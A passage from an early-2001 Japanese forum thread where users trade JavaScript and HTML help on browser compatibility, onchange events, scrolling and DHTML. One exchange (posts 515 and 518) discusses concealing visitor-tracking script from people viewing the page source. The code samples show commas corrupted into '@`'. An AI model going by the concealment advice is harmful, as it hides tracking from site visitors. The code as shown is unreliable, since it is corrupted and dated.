453 名前:Name_Not_Found 投稿日:2001/02/08(木) 18:12
削除依頼だしとこか。



454 名前:Name_Not_Found 投稿日:2001/02/08(木) 18:22
>>452
それ使っても駄目でした。
一つのHTMLファイルの中で、

&lt;!--CGIを実行しmai.jsファイルを書き換える--&gt;
<IMG NAME="tc" SRC="mai.cgi" WIDTH="0" HEIGHT="0">
<ウェイト処理>
<SCRIPT language="JavaScript" SRC="./mai.js"></SCRIPT>

とやりたいんですが、
setIntervalとかだとウェイト中にもmai.jsを読んでしまいます。

455 名前:Name_Not_Found 投稿日:2001/02/08(木) 18:22
このコピペもいいかげんうざいしな。

456 名前:Name_Not_Found 投稿日:2001/02/08(木) 18:30
>>454
IMGかBODYのonLoadで関数を実行しろ。ヴァカ

457 名前:456 投稿日:2001/02/08(木) 18:31
あ、言いたいことが分かった。
俺がヴァカ

458 名前:Name_Not_Found 投稿日:2001/02/08(木) 18:52
>>454

こんなん作ってみた。何かの参考にして。

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=shift_jis;" />
<meta http-equiv="content-script-type" content="text/javascript; charset=shift_jis;" />
<script type="text/javascript" charset="shift_jis">
&lt;!--
var TimerId;
var WaitCount = 0;
var WaitMax = 5;
function ImageCheck(ImageNumber){
if(document.images[ImageNumber].complete || WaitCount >= WaitMax){
if(document.images[ImageNumber].complete){
alert("Load complete!");
}
else{
alert("Time over..");
}
if(TimerId){
clearInterval(TimerId);
}
}
else{
WaitCount++;
}
}
//--&gt;
</script>
<title>Sumple</title>
</head>

<body onload="TimerId = setInterval('ImageCheck(0);'@` 1000);">
<img src="mai.cgif">
</body>
</html>

459 名前:Name_Not_Found 投稿日:2001/02/08(木) 19:46
日本一のJavaScriptを作って貼れ!!

460 名前:Name_Not_Found 投稿日:2001/02/08(木) 19:47
↑そればっかじゃん。
内容も見ずにコピペはやめとけ


461 名前:Name_Not_Found 投稿日:2001/02/08(木) 19:50
↑そればっかじゃん。
内容も見ずにコピペはやめとく

462 名前:Name_Not_Found 投稿日:2001/02/08(木) 19:50
↑そればっかじゃん。
内容も見ずにコピペはやめとけ




463 名前:Name_Not_Found 投稿日:2001/02/08(木) 19:54
↑そこぼっきじゃん。
万子も見ずにコピペはいれとけ

464 名前:Name_Not_Found 投稿日:2001/02/08(木) 20:11
>>458
ありがとうございます!
これから解析&組み込みます。
とりあえずお礼まで。

465 名前:Name_Not_Found 投稿日:2001/02/08(木) 20:33
>>458
あれ、でも、JavaScriptって
外部ファイルを動的に読み込む
って出来るんですか?
一撃必殺の
<HTML>
<HEAD>
<TITLE>Sample</TITLE>
</HEAD>
<BODY onLoad="alert('読み込み完了状態 = '+document.MyPict.complete)">
<IMG SRC="test.gif" width="37" height="36" NAME="MyPict"><BR>
<TABLE BORDER="1">
<SCRIPT Language="JavaScript">
&lt;!--
document.write("<TR><TD>読み込み完了状態</TD><TD>"@`document.MyPict.complete@`"</TD></TR>");
// --&gt;
</SCRIPT>
</TABLE>
</BODY></HTML>
を改造してみたんですがやぱり駄目でした。
万策つきました。

466 名前:458 投稿日:2001/02/08(木) 20:40
>>465
動的に読み込まなくとも、一連の処理を関数化しておいて
必要に応じて呼び出せばいいんじゃないでしょか。
よろしければ、どういったことがやりたいのか教えていただけますか?

467 名前:Name_Not_Found 投稿日:2001/02/09(金) 00:04
糞スレ多発対処のため、優良スレage運動実施中

468 名前:Name_Not_Found 投稿日:2001/02/09(金) 09:22
>>466
465です。
同じhtml内で<img>でCGIを動かし、*.jsファイルを書き換え、
それを表示させたいのです。
CGIが*.jsファイルを書き換える前にブラウザが
jsファイルを読み込んでしまうので、
ウェイトをいれてなんとかしたいんです。

469 名前:466 投稿日:2001/02/09(金) 10:57
>>468
つまり、画像読み込みの状態に応じて
document.writeで異なるHTMLソースを生成したいということですか?
無理デス。ソースの読み込みとドキュメントの生成は
一時的に停止できるようなものではないのでどうしようもないです。
フォームを使ってメッセージを表示するか、
DynamicHTMLで動的に表示を切り替えるのが妥当なセンでしょう。
もしご要望であればサンプルを作りましょうか?

470 名前:Name_Not_Found 投稿日:2001/02/09(金) 10:58
age

471 名前:Name_Not_Found 投稿日:2001/02/09(金) 11:13
document.writeメソッドはJavaScriptの最大のガンだと思った。
ドキュメントソースそのものの生成を環境依存な処理で行うだなんて
すこぶるアレっぽくて仕方がないんですけど。W3C-DOM使えやゴルァ(゚Д゚)

472 名前:Name_Not_Found 投稿日:2001/02/09(金) 11:41
>>471
あの… W3C の DOM でも HTMLDocument インターフェイスで
一応 write メソッド定義されてるんすけど。
http://www.doraneko.org/misc/dom1/level-one-html.html#method-write
互換性の為に残してあるってところだろうけどね。

473 名前:Name_Not_Found 投稿日:2001/02/09(金) 12:13
>>472

定義されている、いないの問題じゃねぇっス。
もとより存在していること自体が間違ってるっつーか。
document.writeでhead要素内の生成とかやってるトコ見ると
心底溜め息つきたくなりますですよ。
bodyならともかくheadの生成って何よ。論理矛盾してねーか。

474 名前:Name_Not_Found 投稿日:2001/02/09(金) 12:19
>>473
オマエモナ

475 名前:Name_Not_Found 投稿日:2001/02/09(金) 12:40
>>474
オマエダケナ

476 名前:Name_Not_Found 投稿日:2001/02/09(金) 12:47
俺含めて、この板の住人全体が矛盾してるな。

477 名前:Name_Not_Found 投稿日:2001/02/09(金) 13:16
ドイツモコイツモナ

478 名前:Name_Not_Found 投稿日:2001/02/10(土) 13:34
あげあげ

479 名前:Name_Not_Found 投稿日:2001/02/11(日) 13:57
Microsoftのトップページの右上みたいに”製品情報”の上にマウスを持ってきたら
メニューがだだだっ!って出てくるようにしたいです。
サンプルコードお願いします。

480 名前:Name_Not_Found 投稿日:2001/02/11(日) 14:01
>>479 このうちのどれかか、一部か、あるいは全部。
http://www.microsoft.com/library/toolbar/toolbar.js
http://www.microsoft.com/library/toolbar/ja/global.js
http://www.microsoft.com/japan/library/toolbar/ja/local.js

481 名前:479 投稿日:2001/02/11(日) 14:22
>480
保存(完全)してみただけだろ?
おれはそれ見てもいまいちわからなかったから聞いたんだって。
きちんとわかってないなら出てくんな。

482 名前:Name_Not_Found 投稿日:2001/02/11(日) 14:27
もうこれで >>479 にレスが返らないことがほぼ確定……。

483 名前:Name_Not_Found 投稿日:2001/02/11(日) 16:45
JavaとJavaScriptって同じだよね。
絶対違うって友達が言うんだよ 馬鹿だよね

484 名前:Name_Not_Found 投稿日:2001/02/11(日) 17:13
>>483
質問スレでネタふらんでもいいよ。おもろないし。

485 名前:Name_Not_Found 投稿日:2001/02/11(日) 18:22

ネタ

486 名前:Name_Not_Found 投稿日:2001/02/11(日) 23:31
礼儀知らずは質問するな。イタタだからってむやみに煽るな。ネタ振るな。

487 名前:Name_Not_Found 投稿日:2001/02/12(月) 00:48
誰か削除依頼して来い
せっかくマジレス付けた2の恩を仇で返しやがって
殺すぞ




488 名前:Name_Not_Found 投稿日:2001/02/12(月) 10:27
Microsoftのトップページの右上みたいに”製品情報”の上にマウスを持ってきたら
メニューがだだだっ!って出てくるようにしたいです。
サンプルコードお願いします。

489 名前:Name_Not_Found 投稿日:2001/02/12(月) 14:11
>>488

www.st.rim.or.jp/~makoto3/

↑そのものズバリなものは多分ないが
ヒントになるサンプルはたくさんある。
481と同一人物ならレス不要。むしろしないでほしい。

490 名前:Name_Not_Found 投稿日:2001/02/12(月) 23:12
スクロールバーを画像にしたいのですが
どうしたらよいのでしょうか?
こちらにあるとうかがってきたのですが
見当たりません。
どうかよろしくお願いします。

491 名前:むぎ茶 投稿日:2001/02/12(月) 23:18


http://www.st.rim.or.jp/~makoto3/

492 名前:Name_Not_Found 投稿日:2001/02/12(月) 23:23
>>490
スクロールバーと全く同じ機能を再現するのはかなり困難です。
画像をクリックすると一定量スクロールする程度の機能であれば
それなりに簡単なサンプルが用意できますが。そんなのでもOKですか?

あと、操作性がスクリプトに依存しそうなページは
個人的にはあまりおすすめできません。

493 名前:むぎ茶 投稿日:2001/02/13(火) 04:35

↑かなり困難、あんたのスキルじゃな

┐(´ー`)┌


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶 ┃
┃mugicha@360.cc ┃
┗━━━━━━━━━┛
http://all.at/bit

494 名前:Name_Not_Found 投稿日:2001/02/13(火) 07:18
オマエモナー

495 名前:490 投稿日:2001/02/13(火) 12:05
>>492
ありがとうございます。
スクロールバーとまったく同じ機能にするのは
難しいのですね。
どこかで画像を動かすとスクロールバーのように扱えたので
どのようにしてるのかな?と思ったのですが困難なのですね。
画像を押している間だけ画面がスクロールするという
scriptも難しいでしょうか?
もしくは画像の上にマウスを置いている間だけスクロールするとか・・・
しかし、スクリプトに依存してしまうかもしれませんね。
悩みます。

496 名前:Name_Not_Found 投稿日:2001/02/13(火) 12:53
サンプル作成中…


497 名前:Name_Not_Found 投稿日:2001/02/13(火) 13:26
>>469
465です。亀ですいません。
出来ないですか。
テキストカウンタをSSIを使わないで作ってみたかったんです。
ついでに環境変数も取ってきてるんですが、
どうしても一つ古い情報が表示されちゃうので悩んでました。
forループで強引にウェイトを掛ければなんとか出来るので
それで回避します。環境に依存しちゃうので悩みどころですが。
いろいろありがとうございました。

498 名前:Name_Not_Found 投稿日:2001/02/13(火) 14:08
>>495
サンプルです。

<html>
<head>
<meta http-equiv="content-script-type" content="text/javascript;">
<script type="text/javascript">
&lt;!--

var TimerId@` ScrollSet = 5;

function ScrollStart(Mode){
ScrollStop();
TimerId = setInterval("PageScroll('" + Mode + "');"@` 1);
}

function PageScroll(Mode){
if(Mode == "down"){
scrollBy(0@` ScrollSet);
}
else if(Mode == "up"){
scrollBy(0@` ScrollSet * -1);
}
}

function ScrollStop(){
if(TimerId){
clearInterval(TimerId);
}
}

//--&gt;
</script>
</head>
<body>
<img src="down.gif" onmousedown="ScrollStart('down');" onmouseup="ScrollStop();" onmouseout="ScrollStop();"><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<img src="up.gif" onmousedown="ScrollStart('up');" onmouseup="ScrollStop();" onmouseout="ScrollStop();"><br>
</body>
</html>

デバイス依存してます。
a要素使ってキーによる操作も実現しようと思ったのですが、
どうもイベントが素直に起動してくれないので断念しました。

499 名前:Name_Not_Found 投稿日:2001/02/13(火) 14:39
>>497

スクリプトによる強引なウェイト処理は、
環境によってはえらく迷惑な思いをする可能性があるので
やめといた方がいいと思います。いやマジで。
むしろ、外部JSファイルそのものをCGI化した方がいいのでは。

500 名前:sage 投稿日:2001/02/13(火) 14:44
>>495
ここにあったような。なかったような。
http://www.kensyou.net/html/my/myroom.htm

501 名前:Name_Not_Found 投稿日:2001/02/13(火) 16:00
画像をクリックするとその画像をbackgroundにした新しいウインドウを表示したいのですが
下のスクリプトだと"sample"という文字がクリックするたびに増えていってしまいます…
document.writeで書き出す内容をその都度初期化することはできるでしょうか?

function openWindow(imgname) {
  newWindow = window.open(""@`"window1"@`"height=250@`width=200");
  newWindow.document.write("<HTML>\n<BODY BACKGROUND=" + imgname + ">\n");
  newWindow.document.write("sample");

↓BODY部
<A href="javascript:openWindow('bg1\.gif')"><IMG src="bg1.gif"></A>
<A href="javascript:openWindow('bg2\.gif')"><IMG src="bg2.gif"></A>

502 名前:Name_Not_Found 投稿日:2001/02/13(火) 16:15
document.clear()は?

503 名前:490 投稿日:2001/02/13(火) 16:15
>>498
ありがとうございます!
これで思っていたものが出来そうです!
なんとお礼をいったらよいのやら
本当にありがとうございます。

>>500
ありがとうございます。
早速見に行ってみようと思います。


504 名前:Name_Not_Found 投稿日:2001/02/13(火) 16:24
フォームの種類にinput type="file"ってのあるよね。
あれで参照させるファイルを開いた直後にその内容をsubmitさせる事ってできるの?
今作った感じだとfileにくっついてくる「参照」ボタンで参照ファイルを引き出して、
それとは別に「送信」みたいなsubmitボタンを押してから内容送信だからレスポンス悪くて・・

解決策があれば、ぜひお願いします

505 名前:Name_Not_Found 投稿日:2001/02/13(火) 16:36
>>504
<input type="file" onchange="if(this.value)document.【親formのname】.submit();">
とか。

506 名前:Name_Not_Found 投稿日:2001/02/13(火) 16:54
>>505
onChangeはIEとネスケで発生タイミングがずれるぞ
そのタイミングだとIEだと値が取得できないっす

507 名前:Name_Not_Found 投稿日:2001/02/13(火) 17:29
>>506
そうなん?
ウチのIE5.5はフツーに値取れるよ。
あ、IE4互換モードだとフォーム&参照ボタンのセットから
フォーカスが外れないとonchange走らないけど、それのこと?

508 名前:Name_Not_Found 投稿日:2001/02/13(火) 17:31
↑そればっかじゃん。
内容も見ずにコピペはやめとけ




509 名前:Name_Not_Found 投稿日:2001/02/13(火) 17:38
↑ここ厨房はいりません。帰れ。

510 名前:Name_Not_Found 投稿日:2001/02/13(火) 17:44
>>499
497です。
外部JSファイルには、変数の宣言が書かれているだけなのです。
todaycount = new Number(12);
weekcount = new Array(2@`0@`0@`0@`1@`12@`3);
これをCGIで書き換えてます。
そしてJavaScriptのdocumentでテキストカウンタとして
表示させてます。

カウントアップはJavaScpritにさせて、
それを表示させ、
最後にCGIにその値を渡すという処理に変えました。
アドバイスありがとうございました。

511 名前:Name_Not_Found 投稿日:2001/02/13(火) 17:46
↑ここ厨房はいりません。帰れ。




512 名前:Name_Not_Found 投稿日:2001/02/13(火) 18:35
マイクロソフト(http://www.microsoft.com/japan/)の
プルダウンメニュー(というか、自動展開メニュー)をネットスケープ
でも同じ動作をするようにしたいのですが、動作しているサンプルを
置いてあるサイトとか知りませんか?


513 名前:Name_Not_Found 投稿日:2001/02/13(火) 19:21
>>512
最近そんな質問多いな(w
ここ参考にしてみ↓
http://www.interq.or.jp/guitar/kozo/dh/dhsamk026.html

514 名前:501 投稿日:2001/02/13(火) 21:12
自己レス:
最後にdocument.close()入れたらできました
502さんありがとう。clearでもできるのかもしれないけどよくわかんなかった…

515 名前:Name_Not_Found 投稿日:2001/02/13(火) 21:29
ここで良いのかな??

JavaScriptを使ったアクセス解析を置こうと考えています。
が、あんま上の方に置くとソース見たときすぐにばれて
気まずいんで、一番下に設置しようかと考えています。
でも、基本的にJavaScriptって大抵、ソースの上の方に
ありますよね? なんか下にすると問題発生するんすか?
 一応、検索はしてみたんですが。

516 名前:515 投稿日:2001/02/13(火) 21:31
しまった。クセでsageてしまった。

517 名前:Name_Not_Found 投稿日:2001/02/13(火) 21:43
<font style=・・・>とかいう記述で、文字を馬鹿でかくすることが出来たと思うのですが、何と書けばいいか分かりますか?

518 名前:Name_Not_Found 投稿日:2001/02/13(火) 21:52
>>515
外部JSファイルにしとけばバレにくくなるかも。
できるものなのかどうかは知らんが。

519 名前:Name_Not_Found 投稿日:2001/02/13(火) 22:01
>>517
ここはJavaScript質問スレです。帰れ。うそ。
<font style="font-size:10em;">10倍角</font>とか。
サイズ指定の詳細はCSSスレで訊ねてくだちい。

520 名前:Name_Not_Found 投稿日:2001/02/13(火) 22:33
↑そればっかじゃん。
内容も見ずにコピペはやめとけ

521 名前:504 投稿日:2001/02/13(火) 23:25
>>505
なるほどね!onchangeとsubmit()を使うのか、そこまで頭が回らなかったわー。
(submit()なんてあんまし実用性ないから記憶の片隅に追いやられてたさ・・)

明日、それで試してみます!ありがとうございました!

522 名前:517 投稿日:2001/02/14(水) 00:34
ありがとうございます >>519

523 名前:Name_Not_Found 投稿日:2001/02/14(水) 01:42
テーブル内に画像を配置し、どの画像上でマウスクリックされたかによって
処理を振り分けるスクリプトを作っています。
こんな感じです。

<table onMouseDown='func()'>
 <tr><td><img src="a.png" id="a"></td><td><img src="b.png" id="b"></td>〜</tr>
 ・
 ・
</table>

IEですと、func(){}内でevent.srcElement.idを読み出すことによって、
どの画像上でクリックされたかを知ることができるのですが、
同じようなことをNetscape4.xやMozilla/N6上で行うことはできるでしょうか?

確実なところでは、imgタグ内にonMouseDownを置いて、
<img src="a.png" id="a" onMouseDown='func("a")'>

とでもすればいいのでしょうが、結構大きなテーブルなので
できればこれは避けたいのです。何かいい方法はないでしょうか?

524 名前:Name_Not_Found 投稿日:2001/02/14(水) 05:39
↑ここ厨房はいりません。帰れ。




525 名前:Name_Not_Found 投稿日:2001/02/14(水) 08:49
>>523
特定の画像をクリックした時にだけ
イベントを起動させたいならこんな方法もアリ?

<html>
<head>
<meta http-equiv="content-script-type" content="text/javascript;">
<script type="text/javascript">
&lt;!--

function ImageEventSet(Keyword){
for(var Vars1 = 0@` Vars2 = document.images.length; Vars1 < Vars2; Vars1++){
if((document.images[Vars1].name).indexOf(Keyword@` 0) != -1){
document.images[Vars1].onclick = new Function("ImageClick(this.name);");
}
}
}

function ImageClick(ImageName){
alert(ImageName);
}

//--&gt;
</script>
</head>
<body onload="ImageEventSet('test');">
<img name="test1" src="test1.png">
<img name="test2" src="test2.png">
<img name="test3" src="test3.png">
</body>
</html>

※NN4でちゃんと動くかどうか自信ありません。

526 名前:504 投稿日:2001/02/14(水) 10:13
ども、朝イチで試してみました。そして新たな問題が・・・

input type="file"相手だと、どうもonchangeはNN@`IE両方とも発生しないみたいです。
で、その代わりonclickで代用してみたんだけど、処理の順番が
NN(6含む)・・・ファイル選択→onclickイベントの中身
IE・・・onclickイベントの中身→ファイル選択   、、となっているので、
NNの時はいいものの、IEの場合だと肝心なファイル参照パスの文字列が
送信できないんです・・・

これ、どうにか解決できないですかね?

あとついでに。
「ファイルを開く」と同様に、普通のソフトとかであるような「ファイル名をつけて保存」の
ダイアログ(でいいのかな?)ってJsでできる?もしあったらこれもお願いします。
(今までこんなん聞いたことないから無理のような気もするが・・・)


527 名前:Name_Not_Found 投稿日:2001/02/14(水) 10:47
>>526

えーと、少なくともIEであればonchangeが発生しないってことはないッス。
だってオレそれ組み込んだWebアプリ手がけてますし。
ただ、ブラウザのバージョンによってはパス入力用のテキスト入力エリアと
ファイル検索ダイアログ表示ボタンをひとつのセットとして見なして
イベントを発生させるようなケースがありまして、
この場合、ファイルのパスを入力あるいは選択した後に
テキスト入力エリアとダイアログ表示ボタンの
いずれからもフォーカスが外れた時に初めてonchangeイベントが発生します。
そこらへん、もう一度確認してもらえますか?

あと、「ファイル名を付けて保存」ダイアログはJavaScriptではムリです。
ひょっとしたらJScript(IE限定)で可能かもしれないですけど。

528 名前:Name_Not_Found 投稿日:2001/02/14(水) 10:48
ソースサンプル貼り付けると行数食うな。
あぷろだに上げた方がいいのかな。

529 名前:Name_Not_Found 投稿日:2001/02/14(水) 11:09
人によるだろうけど
ソース張り付けてもらったほうが嬉しいかな。
ログとしても残るし。

530 名前:Name_Not_Found 投稿日:2001/02/14(水) 11:22
とりあえず今度からはある程度バラして貼り付けるようにします。
しょうりゃくはいやづら。

531 名前:Name_Not_Found 投稿日:2001/02/14(水) 18:04
テキストボックスでリターンキーを押したら
タブキーを押したように次のテキストボックスに
移るようにしたいのですができるのでしょうか?
テキストボックスにはイベントがないためできないような
気がするのですが?


532 名前:Name_Not_Found 投稿日:2001/02/14(水) 18:13
>>531
テキストボックスにはイベントがないという言葉の意味がわからぬ。
とりあえず、onclickイベントでキーコードを拾って
リターンキーの値であればカーソルをジャンプさせるのはどうか。

533 名前:Name_Not_Found 投稿日:2001/02/14(水) 19:07
あぷろだ
http://wwwhtml.virtualave.net/up/file.cgi

534 名前:531 投稿日:2001/02/14(水) 20:31
たとえばこの入力フォームで名前をいれて"リターンキー"を押すと
「本文がねえぞ(゚Д゚)ゴルァ!」と怒られますよね。
その後、"リターンキー"を押したらE-mail欄に飛びたいわけなんです。
(名前欄に何も入れなくてもE-mail欄に飛びたいんです。)

次のように考えているんですが・・
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_
<HTML>
<HEAD>
<TITLE>(゚Д゚)ハァ? メール送信フォーム設置法</TITLE>
<LINK REL=StyleSheet HREF="www.css">
<META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS">
<SCRIPT LANGUAGE="JavaScript">
&lt;!--
function tabjump(ch) {

if (ch == "1") {
document.F1.A2.focus();
}
else if (ch == "2") {
document.F1.A3.focus();
}
else if (ch == "3") {
document.F1.A1.focus();
}
return(true);

}
// --&gt;
</SCRIPT>


</HEAD>
<BODY BGCOLOR="#999999" TEXT="#ffffff" LINK="#0000ee" VLINK="#000099" ALINK="#FF0000">
<FORM NAME="F1" METHOD="POST" ACTION="">
名前:<INPUT TYPE="text" NAME="A1" onClick="tabjump('1')">
<BR>E-mail(省略可):<INPUT TYPE="text" NAME="A2" onClick="tabjump('2')">
<BR>本文:<INPUT TYPE="text" NAME="A3" onClick="tabjump('3')">
<BR><INPUT TYPE="submit" VALUE="OK"
</FORM>
</BODY>
</HTML>
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_
テキストボックスに改行コードがはいったとき
どのテキストボックスで受けたか分かる何か巧い手がないかと・・


535 名前:Name_Not_Found 投稿日:2001/02/14(水) 20:42
『隠しページを見つける練習』とかにあるソースを見られないようにするやつ
ってどうやるのれすか?

536 名前:Name_Not_Found 投稿日:2001/02/14(水) 20:43
↑俺も知りたいage

537 名前:Name_Not_Found 投稿日:2001/02/14(水) 20:52
>>534
サンプル作ってみますわ。

>>535
おそらくは外部JSファイルだと思われ。
ただ、ちょっと確証に欠けるんで、
その『隠しページを見つける練習』ページのURL教えてけれ。

538 名前:Name_Not_Found 投稿日:2001/02/14(水) 21:27
>>534
サンプルをあぷろだに上げときましてん。
http://wwwhtml.virtualave.net/up/file/005.html


…間違えてあぷしたファイルが消せぬ(;´Д`)

539 名前:538追記 投稿日:2001/02/14(水) 21:30
</html>以降の記述はオマケで付いちゃったものなので無視しておくれ。

540 名前:504 投稿日:2001/02/14(水) 22:11
>>527
いやぁ、今サンプル作ってみたけど、やっぱonchangeの方はダメだよ〜。
↓を試してみても、やっぱonchangeは発生しない・・・・
<HTML>
<HEAD>
<TITLE>test</TITLE>
<script language="Javascript">
//&lt;!--
function hoge(type){
if(type==1){alert(document.input.chan.value)}else{alert(document.input.clic.value)}
}
//--&gt;
</script>
</HEAD>
<BODY>
<FORM name="input">onchangeのほう<BR>
<INPUT type="file" size="20" name="chan" onchange="hoge(1)"><BR>
<BR>
onclickのほう<BR>
<INPUT type="file" size="20" name="clic" onclick="hoge(2)"><BR>
</FORM>
</BODY>
</HTML>

まーそれは置いといて、だ。肝心かなめのところが解決してないんですよ。
「ファイルの参照先アドレスをsubmitする方法」がね。
(上のサンプルでいえば、alertの中身にアドレスが入ること)

誰か助けて下せぇ〜!

541 名前:Name_Not_Found 投稿日:2001/02/14(水) 23:47
>>540
調べてみたけど、WinIE5.5ならchangeはちゃんと発生してる。
WinIE4.0はchangeの発生タイミングがちょっとヘン。
テキストボックスとボタンのいずれからもフォーカスが外れて初めて発生。
WinN6はダイアログからのファイル選択を行うとchangeイベントが発生しない。
…イベントに頼るるより素直に送信ボタンを使ったほうが吉と思われ。

力になれなくてゴメンよー。

542 名前:Name_Not_Found 投稿日:2001/02/14(水) 23:50
頼るるって何じゃい自分。鬱だ逝こう。

543 名前:531 投稿日:2001/02/15(木) 10:38
538様ありがとう・・
\(*´ー`*)ノ わーい


544 名前:538 投稿日:2001/02/15(木) 10:52
>>543
余談だけど、IEはform要素憑きのinput要素(type="text"or"password")で
リターンキーを叩くと勝手にsubmitするというありがた迷惑な機能アリ。
これを止めるにはkypressイベント発生時にキーコードを調べて
リターンキーのバヤイに限りfalseをreturnするという処理が必要さね(※組み込み済)

545 名前:Name_Not_Found 投稿日:2001/02/15(木) 13:38
>>544
Content-Style-TypeとかContent-Script-Typeのcontent属性に
charset=Shift_JISは違うのでは・・・

546 名前:544 投稿日:2001/02/15(木) 14:27
>>545
まあ、不正な記述ではない(たぶん)ということで気にしないでおくれ。

547 名前:540 投稿日:2001/02/15(木) 22:09
>>541
というコトは、IE5ではonchangeは発生せず、4だとタイミングがおかしくて、
5.5だと正常に動作する、と。(くそー!IEのくせにバージョンの互換性がないとは!)
こんな状態じゃどのみち使いようがなさそうだな・・・

とりあえず素直にsubmit使うことにしますけど、もし暇な方がいらしたら
この問題にちょいと取り組んでみてください。この板は毎日チェックしてるんで

548 名前:Name_Not_Found 投稿日:2001/02/15(木) 22:29
>>546
不正な記述かどうかは定められてない、ってとこでしょ。
Content-Script-Type を読む実装がないから
事実上の問題がないってだけで。
これを例えば script 要素の type 属性に記述しても
IE は 別言語と判定するようでスクリプト自体を認識しない。
N6 の場合は動いた。
# N6 が別言語と判定しないのは、
# 試験的に version パラメータを導入してるからだと思うけどね。

549 名前:Name_Not_Found 投稿日:2001/02/15(木) 22:49
> これを例えば script 要素の type 属性に記述しても

汎用データの内容とスクリプトやスタイルシートの形式指定を
同じもののように比較するというのも何かが違う気がする…

550 名前:546 投稿日:2001/02/15(木) 23:14
>>546
デフォルトのスクリプト形式と一緒に
外部ファイルなんかを考慮して文字コードセットを指定しとこうと
とりあえず記述を突っ込んどいたんだけど、あかんのですか。ガッカリ。
そんなもんscript要素のcharsetで指定しとけばいいですね。逝てきまーす。

551 名前:550 投稿日:2001/02/15(木) 23:17
>>546でなくて>>548でした。氏のう。

552 名前:Name_Not_Found 投稿日:2001/02/15(木) 23:51
>>549
でも <script type="****"> は Content-Script-Type で指定した
デフォルトのスクリプト言語を上書きするって書いてあるよ?
http://www.asahi-net.or.jp/%7Esd5a-ucd/rec-html401j-2000-04-07/interact/scripts.html#default-script
http://www.asahi-net.or.jp/%7Esd5a-ucd/rec-html401j-2000-04-07/interact/scripts.html#edef-SCRIPT

553 名前:Name_Not_Found 投稿日:2001/02/16(金) 07:53
>>552
404-NotFoundですぜダンナ。

554 名前:Name_Not_Found 投稿日:2001/02/16(金) 11:19
http://www.asahi-net.or.jp/%7Esd5a-ucd/rec-html401j/interact/scripts.html
こっちでんな。

555 名前:Name_Not_Found 投稿日:2001/02/16(金) 17:47
多分、基本的な事だと思うのですが、質問します。

まずは、あらかじめ画像を下の方法で読みます。

a = new Array();
for(i=1; i<100; i++){
a[i] = new Image(); a[i].src ="b" + i + ".gif";
}

この読み取った画像を、それぞれ好きな位置に表示させるには、どうしたらよろしいでしょうか?

556 名前:( ´Д`) 投稿日:2001/02/16(金) 18:45
>>555

「好きな位置」というのが何げにクセモノ。
すでに表示されているimg要素を切り替える程度なら
わりと簡単なスクリプトで作れて、
古めもブラウザでも動いてくれます。
が、完全に好きな位置に表示するなら
俗に言うDynamicHTMLの領分になり、
対応環境も結構狭められまス。

どっちか好きな方を選んでくだちい。
サンプル用意します。両方でもいいけど。

557 名前:Name_Not_Found 投稿日:2001/02/16(金) 19:44
>> 556

DHTMLの方をお願い致します。

IEとNNの両対応で考えているのですが、555 に挙げた部分でつまづいています。

558 名前:( ´Д`) 投稿日:2001/02/16(金) 20:30
NN4未対応ではイカンですか? イカンですよね。スマソスマソ。
IEとネスケ両対応のサンプルはちと作成に時間がかかるので
明日あたりまで気長に待っててくださいまし。

確認用にNN4.7拾ってこんとなー。

559 名前:Name_Not_Found 投稿日:2001/02/16(金) 21:48
>> 558

もし都合が悪い様でしたら、IE版だけでも結構です。
そしたら、IE版を基にして、NN版は自分で何とかします。

560 名前:( ´Д`) 投稿日:2001/02/16(金) 22:55
>>559

いやいや、言った以上は作りますですよ。
イメージも固まったんで結構乗り気になってきましてん。
でも気長に待っててね(w

561 名前:( ´Д`) 投稿日:2001/02/17(土) 17:30
>>559

サンプルできました。
http://wwwhtml.virtualave.net/up/file/006.html
確認環境はWinIE5・WinNN4.75・WinN6でやってます。
IE4はまず大丈夫のハズだけど、NN4.73以前のヤツだとひょっとしたら
コケる可能性があったりなんかするかもしれません。コケたらスマソ。

562 名前:( ´Д`) 投稿日:2001/02/17(土) 17:32
あう、head要素のインデントがズレとる。カコワルイ鬱だ氏のう。

563 名前:Name_Not_Found 投稿日:2001/02/17(土) 17:37
>>562
顔文字と(w使ってる時点ですでにかっこ悪い(* ´ ー ` *)(w

564 名前:Name_Not_Found 投稿日:2001/02/17(土) 17:39
>>562
だんな s「u」mple になってますぜ・・・。
だけどわざわざサンプル組むなんてえらいねぇ

565 名前:Name_Not_Found 投稿日:2001/02/17(土) 18:38
>>561

なるほど、参考になりました。

どうもありがとうございました。

566 名前:(;´Д`) 投稿日:2001/02/17(土) 20:07
>>564

あ、s「a」mpleなのね。大恥。もう氏ぬしか。
つか、「えらいねぇ」ってあーた。こだわりませんが。

567 名前:(;´Д`) 投稿日:2001/02/17(土) 20:14
あぷろだ、やっぱり削除できぬ…差し替えたいのに。

>>565

不明な点があればまた質問してくださいまし。

568 名前:Name_Not_Found 投稿日:2001/02/19(月) 10:45
age

569 名前:Name_Not_Found 投稿日:2001/02/20(火) 17:06
これもage〜

570 名前:Name_Not_Found 投稿日:2001/02/23(金) 08:24
age

571 名前:名無しさん@1周年 投稿日:2001/02/24(土) 02:37
見てもらうブラウザを気にせずに
JavaScriptを書けるようにはならないんでしょうか?

572 名前:Name_Not_Found 投稿日:2001/02/24(土) 02:54
ECMAスクリプトだっけ? それ使えば。
JavaScriptのサブセットでスクリプトものとしては唯一の国際標準。


573 名前:Name_Not_Found 投稿日:2001/02/24(土) 06:14
>>572
サブセットじゃない。JavaScript1.1 を元に言語仕様を標準化したもの。
言語仕様だけでブラウザに依存するオブジェクト
( document オブジェクトとか window オブジェクトとか )
については一切定義されていないから
ECMAScript だけじゃ何もできんと思う。

574 名前:Name_Not_Found 投稿日:2001/02/24(土) 07:54
>>571
JavaScript1.1 で書けばほとんどの場合動くと思う。
DHTML とかは出来なくなるけど。

575 名前:Name_Not_Found 投稿日:2001/02/24(土) 08:35
JavaScriptでネット接続の割合おせて(国外

